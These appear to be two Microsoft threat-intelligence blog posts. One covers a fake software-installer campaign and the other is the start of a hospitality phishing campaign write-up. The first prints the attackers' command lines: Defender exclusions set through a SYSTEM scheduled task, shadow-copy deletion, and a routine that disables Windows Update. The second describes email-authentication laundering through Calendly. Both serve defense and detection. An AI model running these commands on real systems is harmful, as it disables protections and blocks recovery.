Microsoft Defender Experts is tracking an active malware campaign that uses counterfeit software-download websites to impersonate trusted vendors and distribute malicious installers. The campaign has targeted users looking to download popular software and has resulted in compromises across multiple organizations and industries, primarily affecting China-based operations of multinational organizations and Chinese-speaking users. Microsoft has observed victims across healthcare, manufacturing, gaming, technology, logistics, government, and education sectors.

Once executed, the malicious installers deploy malware that establishes persistence, attempts to weaken security protections, and communicates with attacker-controlled infrastructure. Microsoft assesses with moderate confidence that this activity is consistent with the publicly reported Silver Fox (also known as Yinhu, 银狐) fake software campaign but has not attributed it to a nation-state actor. Microsoft Defender detected and disrupted activity across multiple stages of the attack, including automated containment through attack disruption. Organizations should prioritize preventing downloads from untrusted software sources and ensure protections such as SmartScreen, network protection, tamper protection, and Microsoft Defender XDR are enabled to help identify, block, and respond to related activity.

Attack chain overview

The campaign follows a consistent attack chain from a spoofed vendor download page to a self-protecting, persistent implant. The stages below trace that chain — initial access, delivery, execution, persistence, privilege escalation, defense evasion, and command and control.

Campaign scope and targeting

Microsoft observed affected devices predominantly associated with China-based operations and Chinese-speaking users, consistent with the Chinese-language lure content and the .com.cn and .hl.cn infrastructure. Confirmed activity spans medical devices and healthcare, manufacturing, gaming, technology, logistics, government, and higher education across multiple organizations and industries.

Initial access: spoofed software-download sites

The entry point is a fraudulent software-download website that spoofs a legitimate vendor. In one case, endpoint telemetry captured a device navigating to the fake Razer page pc-razerzone[.]com[.]cn and downloading app_setup.6653004.zip from the delivery host gehie246[.]com/712down; two content-distinct copies of the same-named archive were written within roughly 69 seconds — a direct observation of server-side payload regeneration.

Across the estate, FileOriginReferrerUrl telemetry ties each downloaded archive to the impersonation page that served it and to rotating delivery hosts (yimxg25tiy[.]com/73inst, cc8ttkv35b[.]com/7qinst, n7b8t85zsg[.]com/ins711) and a suspected attacker-controlled Alibaba Cloud Object Storage Service (OSS) bucket. The lure domains predominantly use .com.cn, .hl.cn, and .cn and embed the impersonated brand name.

Delivery: a dynamically generated installer archive

The following examples illustrate how look-alike domains routed users to the same delivery infrastructure while preserving brand-specific lure pages.

When the user selects the download control, Microsoft Edge retrieves a malicious installer archive from a small set of dedicated delivery domains.

pc-razerzone[.]com[.]cn  (spoofed Razer download site)   →   www[.]gehie246[.]com/712down   →   app_setup.6653004.zip   →   stage-one loader

A defining characteristic is that the archive keeps the same filename while its hash changes on every download — a strong indicator the payload is generated server-side, per request. Microsoft observed families of same-named archives (app_setup.*, zinst.*, zintall.*, intsoft.*, innstll.*) whose contents differ across downloads while the delivery URL stays constant; the full validated hash set is in the indicators of compromise below.

kaspersky-lab[.]hl[.]cn     →   hxxp://www.gehie246[.]com/712down
pc-razerzone[.]com[.]cn     →   hxxp://www.gehie246[.]com/712down
calibre-ebook[.]com[.]cn    →   hxxp://www.gehie246[.]com/712down

Brand-impersonation infrastructure

The campaign runs a large, uniform set of vendor look-alike pages on .com.cn and .hl.cn domains, each cloning the real product’s branding and presenting a prominent “Download now” button. All funnel to the same delivery and payload infrastructure.

Although these domains impersonate unrelated vendors, they are not independently hosted. Infrastructure enrichment, corroborated by Microsoft telemetry where the two overlap, resolves them into two groupings. Six domains resolve within AS132839, spread across four unrelated netblocks and three registered country codes, and share a common pair of nameservers. Two further domains resolve within AS8796 in a single /21, using a different nameserver pair. One additional domain is served through a content delivery network (CDN), concealing its origin. Because hosting and Domain Name System (DNS) are frequently bundled by the same reseller, these are best read as two consistent procurement channels rather than two independent corroborating signals.

The practical implication for defenders is that netblock- and geography-based grouping will miss these relationships, while Autonomous System Number (ASN)-level analysis surfaces them.The autonomous system remains constant even where the address space and registered country vary. These are shared commercial hosting and DNS providers carrying substantial unrelated tenancy, so the ASN and nameserver should be treated as hunting pivots, not blocklist entries.

The following capture shows a representative impersonation page served by the campaign. The pages are high-fidelity clones of a legitimate vendor’s site with a prominent download call-to-action.

Execution: a wrapped installer drops a randomized stage-one payload

The wrapper installer creates a randomized executable path while reusing stable payload content, making names unreliable but behavior and hashes useful for detection.

Opening the archive yields a wrapper installer whose name follows a generated pattern (for example, a_instapp83353001.exe or ainst8663586104.exe).

Executing the wrapper creates and launches a stage-one payload at a randomized path under a world-writable or system location; the directory and file names are randomized, but the payload content is stable. The same stage-one 256-bit Secure Hash Algorithm (SHA-256) (676a2a7b94ca…) was observed under many names and paths.

C:\Users\Public\sE94yD\aLcUaw.exe        (SHA-256 676a2a7b94ca…  stage-one)
C:\Users\Public\nvdPX5\2b3L5i.exe        (SHA-256 676a2a7b94ca…  stage-one)
C:\Program Files (x86)\i3LH90\ErNGxW.exe (SHA-256 6d6ba2bc9ad4…  later-stage)
C:\Program Files (x86)\Q8Maj\7EIr6VA.exe (SHA-256 6d6ba2bc9ad4…  later-stage)
C:\ProgramData\zsMmvukD\beuv4Mie.exe     (SHA-256 c6100166e2d3…  persistent)

The end-to-end chain is visible as a parent-to-child process tree: msedge.exe writes the archive, an archiving tool (7zFM.exe, 360zip.exe, or WinRAR.exe) extracts it, the bundled wrapper runs, and the wrapper launches the randomized stage-one payload.

msedge.exe                               downloads app_setup.6653004.zip
  └─ 7zFM.exe / 360zip.exe / WinRAR.exe  (user opens the downloaded archive)
       └─ a_instapp83353001.exe           (wrapper installer bundled in the archive)
            └─ C:\Users\Public\yZ6A88\9bEELI.exe  (stage-one payload, randomized)

Payloads are masqueraded; Microsoft confirmed the masquerade through file metadata on the later-stage payload (SHA-256 6d6ba2bc…), staged at C:\Program Files (x86)\<random>\. The binary’s version resource declares CompanyName: “Speech Processing Solutions GmbH”, FileDescription: “Philips Speech Driver Client Configuration”, OriginalFileName: PhilipsSpeechDriverConfiguration.exe, and ProductVersion: 4.7.471.07,while executing from a randomized directory under a randomized file name. The same resource retains an unfilled build-template placeholder, ProductName: “TODO: <Product name>”, indicating the version information was fabricated for the payload rather than inherited from genuine vendor software. Microsoft also observed svchost.exe executing from a non-system path (D:\hellothere\svchost.exe) rather than C:\Windows\System32.

FileName                                      XPSPLOG.dll
FolderPath                                    C:\Program Files (x86)\72q1o6\XPSPLOG.dll
InitiatingProcessFileName                     40gK5T.exe
InitiatingProcessFolderPath                   C:\Program Files (x86)\72q1o6\40gK5T.exe
InitiatingProcessSHA256                       6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
InitiatingProcessCommandLine                  "40gK5T.exe"
 
InitiatingProcessVersionInfoCompanyName       Speech Processing Solutions GmbH
InitiatingProcessVersionInfoFileDescription   Philips Speech Driver Client Configuration
InitiatingProcessVersionInfoOriginalFileName  PhilipsSpeechDriverConfiguration.exe
InitiatingProcessVersionInfoProductVersion    4.7.471.07
InitiatingProcessVersionInfoProductName       TODO: 
 
InitiatingProcessParentFileName               svchost.exe

A payload staged under C:\ProgramData\<random>\ (SHA-256 c6100166…) carries the version metadata of the Indigo Rose TrueUpdate Client (OriginalFileName: tu_rt.exe, ProductVersion: 3.8.0.0) and exhibits that product’s runtime behavior, writing _ir_tu2_temp_* artifacts to the user’s temp directory on each execution. Dropped by the later-stage payload and launched repeatedly by the Task Scheduler service, it connects to an attacker-controlled Alibaba Cloud OSS bucket over Transport Layer Security (TLS) and writes a further payload to a second randomized C:\ProgramData\ directory — a legitimate update mechanism repurposed for payload delivery.

00:24:43  ErNGxW.exe (6d6ba2bc…) creates C:\ProgramData\zsMmvukD\beuv4Mie.exe (c6100166…)
00:24:43  beuv4Mie.exe executes   ← parent: svchost.exe -k netsvcs -p -s Schedule
00:24:44  beuv4Mie.exe → ConnectionSuccess | upitem.oss-cn-hangzhou.aliyuncs.com | 443
00:24:44  beuv4Mie.exe creates C:\ProgramData\uwMUCYBN\SaYC4Mga.exe (f33d160d…)
02:12:22  beuv4Mie.exe creates …\Temp\_ir_tu2_temp_4      ← TrueUpdate runtime artifact
02:44:20  beuv4Mie.exe re-executes (scheduled task) → _ir_tu2_temp_5
02:59:00  … _temp_6    03:15:54 … _temp_7    08:02:52 … _temp_8
08:32:20  … _temp_9    08:38:51 … _temp_11

Alternate execution vector: Windows Installer (msiexec)

In parallel with the wrapped-installer chain, Microsoft observed a second execution vector that uses the Windows Installer service. The installer performs its intended function; what the campaign gains is execution under a signed, trusted Windows component. The extracted installer invokes msiexec.exe in embedded mode, which writes and launches a randomized executable into a world-writable C:\Users\Public\<random>\ directory, the same masquerade pattern as the wrapper chain, but delivered through msiexec.exe.

msiexec.exe -Embedding  E Global\MSI0000
  └─ C:\Users\Public\\.exe   (payload, randomized path/name)

The behavior is consistent and repeated: more than twenty distinct payload names were written this way, spawned by a range of parents including msedge.exe, explorer.exe, and svchost.exe.

Persistence and recurring execution: disguised scheduled tasks

Persistence and recurring execution are achieved through scheduled tasks whose display names imitate routine IT or productivity jobs (for example “Deadline Mission Target” and “Hierarchy Tools Smooth Inventory”), each launching a specific payload staged under C:\ProgramData\.

Each task launches a specific payload:

The persistent payloads are staged in locations such as C:\ProgramData\7fYptijy.exe, C:\ProgramData\zsMmvukD\beuv4Mie.exe, and C:\ProgramData\uwMUCYBN\SaYC4Mga.exe. Because the payloads are launched by the Task Scheduler service (parented to svchost.exe -k netsvcs -p -s Schedule) and multiple staggered tasks run per device, affected hosts exhibit a characteristic ~60-second re-execution cadence.

Privilege escalation: SYSTEM scheduled task and process injection

To perform privileged actions such as writing Microsoft Defender exclusions, the malware creates a short-lived scheduled task that runs as SYSTEM (SCHTASKS /Create … /RL HIGHEST /RU “SYSTEM”), executes the privileged action, then immediately runs and deletes the task

SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM"
  /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\"
       /v \"C:\Program Files (x86)\NPq6k16Om\" /t REG_DWORD /d 0 /f"
SCHTASKS /Run /TN "Task1"    &    SCHTASKS /Delete /TN "Task1" /F

The /RL HIGHEST /RU “SYSTEM” combination elevates the exclusion write to SYSTEM, and the create-run-delete sequence minimizes the footprint of the helper task. Process injection was also observed. A persistent campaign payload (SHA-256 1bd3662d…), launched from C:\ProgramData\ by the Task Scheduler service, created a remote thread in a legitimate user application moments after that application started — executing payload code inside the context of a trusted process. Microsoft Defender detected the activity as A process was injected with potentially malicious code.

ActionType                       CreateRemoteThreadApiCall
InitiatingProcessFileName        .exe
InitiatingProcessFolderPath      C:\ProgramData\.exe
InitiatingProcessSHA256          1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17
InitiatingProcessCommandLine     ".exe"
InitiatingProcessCreationTime    2026-07-13 02:44:20.887
InitiatingProcessParentFileName  svchost.exe
FileName                         .exe      (target process)
ProcessCommandLine               ".exe" -autorun
ProcessCreationTime              2026-07-13 02:44:37.568
AdditionalFields                 {"IntegrityLevel":8192}

The sequence below shows a single execution cycle end to end: the Task Scheduler service launches the payload, the payload immediately attempts command-and-control on two non-standard ports — both blocked at the host firewall — and, seventeen seconds later, injects into a user application within milliseconds of that application starting.

02:44:20.887   PROC     .exe started            parent: svchost.exe (Task Scheduler)
02:44:21.971   NETWORK  outbound to 47.239.232[.]245:8050    → FirewallOutboundConnectionBlocked
02:44:24.860   NETWORK  outbound to 47.243.218[.]255:28300   → FirewallOutboundConnectionBlocked
02:44:37.568   PROC     target application starts (-autorun)
02:44:37.604   INJECT   CreateRemoteThreadApiCall  .exe → target application   

Defense evasion: disabling host protections

Follow-on payloads take a layered approach to weakening the host. They add sweeping Microsoft Defender path exclusions via PowerShell (Add-MpPreference -ExclusionPath) and the SYSTEM scheduled-task registry write;

powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
powershell.exe -c if (Get-Process -Name HAhahahah) {} else {
  Add-MpPreference -ExclusionPath $env:localappdata,'C:\','C:\ProgramData',
   'C:\ProgramData\7b3St9HS','C:\ProgramData\7b3St9HS\27s7ihjC.exe' -ExclusionExtension '.dat' -Force }

delete volume shadow copies (vssadmin delete shadows /all /quiet) to inhibit recovery;

cmd.exe /c vssadmin delete shadows /all /quiet

harden payload directories with icacls so standard users cannot remove the files;

icacls "C:\Program Files (x86)\NPq6k16Om\xo7Tj9xQ.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F

and neutralize Windows Update by stopping and disabling wuauserv, UsoSvc, uhssvc, and WaaSMedicSvc, renaming update dynamic-link libraries (DLLs), and deleting the SoftwareDistribution cache.

for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do (
   net stop %i & sc config %i start= disabled & sc failure %i reset= 0 actions= "" )
for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll &
   icacls …\%i.dll /grant *S-1-1-0:F & rename …\%i.dll %i_BAK.dll &
   icacls …\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" & icacls …\%i_BAK.dll /remove *S-1-1-0 )
reg add "HKLM\…\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
erase /f /s /q c:\windows\softwaredistribution\*.*  &  rmdir /s /q c:\windows\softwaredistribution
powershell -Command Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask

A malicious Windows Defender Application Control policy was written to the code-integrity store on multiple devices; Microsoft Defender Antivirus detected the tamper behavior as Behavior:Win32/MpTamperGpDisableAVFriendly.A.

Command and control (C2)

A later-stage networking payload establishes command-and-control over application-layer protocols on non-standard ports — observed ports include 5090, 7031, 7032, 7088–7090, 8050, 28290, and 28300.

C2 endpoints comprise a set of six-character [.]net domains (iualef, oijfwe, euioxu, czijbh, wfmwsj, tbdqxq) and IP-and-port endpoints; a primary hub was observed on 202.95.14[.]237 (AS152194, CTG Server Limited). Payloads were observed beaconing to these endpoints with both successful and failed callbacks; the dedicated [.]net and IP-and-port C2 was intermittently unreachable while the same payloads still completed TLS connections to cloud object storage, consistent with a dedicated C2 tier that was often down while cloud-hosted staging remained live.

Detection and disruption

In observed environments, Microsoft Defender surfaced alerts across multiple stages and, where criteria were met, Attack Disruption engaged to contain affected devices and accounts.

Representative alerts include Modification attempt in Microsoft Defender Antivirus exclusion list, Compromised device (attack disruption), A process was injected with potentially malicious code, Potential C2 connection behavior, Suspicious Task Scheduler activity, and Compromised account conducting hands-on-keyboard attack. The campaign is not purely automated. In a subset of environments, the automated execution was accompanied by interactive, hands-on-keyboard activity, which attack disruption engaged to contain.

Microsoft Defender also blocked the attempted Server Message Block (SMB) lateral movement to additional hosts (Lateral movement using SMB remote file access blocked on multiple devices) and detected the C2 connection behavior; the campaign’s C2 endpoints are included in the blocked indicator set.

Attack disruption contained the device and account; full eradication of persistence still required responder action.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

Campaign-specific recommendations

• Enforce Tamper Protection. It blocks exclusion and registry writes to Microsoft Defender even when the payload runs as SYSTEM — directly countering the throwaway SYSTEM scheduled-task technique this campaign relies on.
• Hunt behavior, not file names. File names and hashes rotate on every download; pivot on the C:\Users\Public\<random>\<random>.exe and C:\Program Files (x86)\<random>\<random>.exe drop pattern, the Philips-Speech masquerade, and the stable stage-one and networking payload hashes.
• Alert on the tamper sequence. A SYSTEM scheduled task writing HKLM\…\Windows Defender\Exclusions\Paths then self-deleting, vssadmin delete shadows /all /quiet, and disabling wuauserv, UsoSvc, WaaSMedicSvc and uhssvc are high-fidelity signals.
• Treat look-alike download archives as malicious in web and mail flow. Block ZIPs named app_setup.*, zinst.*, zintall.*, intsoft.*, and innstll.* served from *.com.cn or *.hl.cn brand-look-alike domains and the /712down, /73inst, /7qinst, and /ins711 delivery endpoints.
• Correlate download referrers. Use FileOriginUrl and FileOriginReferrerUrl to catch landing-page to delivery-host pairs even after individual domains rotate, and block the C2 IP:port set and .net C2 domains.

Microsoft Defender XDR hardening recommendations

Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
• Block execution of potentially obfuscated scripts 
• Block use of copied or impersonated system tools 
• Use advanced protection against ransomware 

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

These promptbooks can help analysts summarize affected entities, review alert timelines, and pivot on the IOCs included in this blog. Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender XDR and Microsoft Sentinel customers can run the following queries. . The behavior-based queries continue to work even as filenames, hashes, and domains rotate.

Campaign payloads and loaders Surfaces execution or creation of the campaign’s stable stage-one, later-stage, persistent, networking, and loader binaries by SHA-256.

let campaignSha256 = dynamic([
  "676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7", // stage-one
  "6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8", // later-stage
  "c4100ad39d8db98f063feb6c3b6c8e9a9f9d9bf25a1e0233f43b058ff8a7dbdf", // networking
  "1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17", // persistent
  "c6100166e2d3b40388980f7674712ef39e937ac04925ca5d370415399ed73faf", // TrueUpdate loader
  "f33d160d757e4b39019fdef21cf90cafb501b800ca0d4039366bc30856e3d81b", // persistent/networking
  "e4fe2dee8f0bb132fa15fc686d1f93df39530a2d3a8d3a1f3a605a057c04e7b3"  // supporting DLL
]);
union
  (DeviceProcessEvents | where SHA256 in (campaignSha256)),
  (DeviceFileEvents    | where SHA256 in (campaignSha256))
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

Randomized payload drop pattern Finds executables dropped into randomized folders under world-writable or system locations — the campaign’s stable staging behavior regardless of filename.

DeviceProcessEvents
| where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\[A-Za-z0-9]{4,10}\\[A-Za-z0-9]{4,10}\.exe$"
| where InitiatingProcessFileName in~ ("msiexec.exe","explorer.exe","svchost.exe","cmd.exe","7zFM.exe","360zip.exe","WinRAR.exe")
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

Microsoft Defender exclusion tampering Detects the SYSTEM scheduled-task and PowerShell routines that write sweeping Microsoft Defender path exclusions.

DeviceProcessEvents
| where ProcessCommandLine has @"Windows Defender\Exclusions\Paths"
     or ProcessCommandLine has "Add-MpPreference -ExclusionPath"
     or (ProcessCommandLine has "SCHTASKS" and ProcessCommandLine has "SYSTEM" and ProcessCommandLine has "Exclusions")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
| order by Timestamp desc

Recovery inhibition and Windows Update neutralization Surfaces shadow-copy deletion and the routine that stops, disables, or renames Windows Update service components.

DeviceProcessEvents
| where ProcessCommandLine has "vssadmin delete shadows"
     or (ProcessCommandLine has_all ("sc","config","disabled") and ProcessCommandLine has_any ("wuauserv","UsoSvc","uhssvc","WaaSMedicSvc"))
     or ProcessCommandLine has "NoAutoUpdate"
     or (ProcessCommandLine has "rename" and ProcessCommandLine has_any ("wuaueng","WaaSMedicSvc"))
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
| order by Timestamp desc

Windows Installer (msiexec) embedded-mode execution Catches the parallel delivery vector where msiexec launches a randomized payload from a world-writable path.

DeviceProcessEvents
| where InitiatingProcessFileName =~ "msiexec.exe"
| where InitiatingProcessCommandLine has "-Embedding" and InitiatingProcessCommandLine has @"Global\MSI0000"
| where FolderPath has @"C:\Users\Public\"
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessCommandLine
| order by Timestamp desc

Disguised scheduled-task execution Flags payloads relaunched by the Task Scheduler service from user-writable directories (the ~60-second re-execution loop).

DeviceProcessEvents
| where InitiatingProcessCommandLine has "netsvcs" and InitiatingProcessCommandLine has "Schedule"
| where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\"
| where FileName endswith ".exe"
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName
| order by Timestamp desc

Command-and-control connections Matches callbacks to the campaign’s C2 IP:port set and six-character .net C2 domains.

let c2ip    = dynamic(["202.95.14.237","47.239.232.245","161.248.87.157","103.156.25.35","103.183.3.162","43.99.100.248","47.239.175.163","47.86.205.97","47.243.218.255"]);
let c2ports = dynamic([5090,7031,7032,7088,7089,7090,8050,28290,28300]);
let c2dom   = dynamic(["iualef.net","euioxu.net","czijbh.net","wfmwsj.net","tbdqxq.net","oijfwe.net"]);
DeviceNetworkEvents
| where (RemoteIP in (c2ip) and RemotePort in (c2ports)) or (RemoteUrl has_any (c2dom))
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, RemoteIP, RemotePort, RemoteUrl, ActionType
| order by Timestamp desc

Malicious delivery domains and download endpoints Identifies connections to the dedicated delivery domains and the /712down, /73inst, /7qinst, /ins711 download paths.

let deliveryHosts = dynamic(["gehie246.com","yimxg25tiy.com","cc8ttkv35b.com","n7b8t85zsg.com","bxfh.tzcdq.cn","tmsq.tzcdq.cn","mebx78e02.com","qwjre1487.com"]);
DeviceNetworkEvents
| where RemoteUrl has_any (deliveryHosts) or RemoteUrl has_any ("/712down","/73inst","/7qinst","/ins711")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, ActionType
| order by Timestamp desc

MITRE ATT&CK techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Indicators of compromise (IOC)

References

Prior reporting and OSINT sources — Silver Fox (also known as Yinhu, 银狐)

• TweetFeed community indicator feed — weekly IOC export
• AlienVault OTX pulse — campaign delivery infrastructure and C2 indicators
• MalwareBazaar — campaign payload sample (aea879a0…)
• MalwareBazaar — campaign payload sample (6dacf281…)
• LGSRC public indicator repository

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 

The post Counterfeit installers to system compromise: Tracking a deceptive software download campaign appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

• reception 

• frontdesk 

• reservations 

• accueil  

• recepcja 

• recepce 

• frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

• Guest complaints 

• Bedbug (Cimex) infestation reports 

• Verification call notices 

• Room condition inquiries 

• Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

• Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 

• Step 2: share[.]google/TOKEN → HTTP 302 

• Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 

• Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

• Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 

• Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

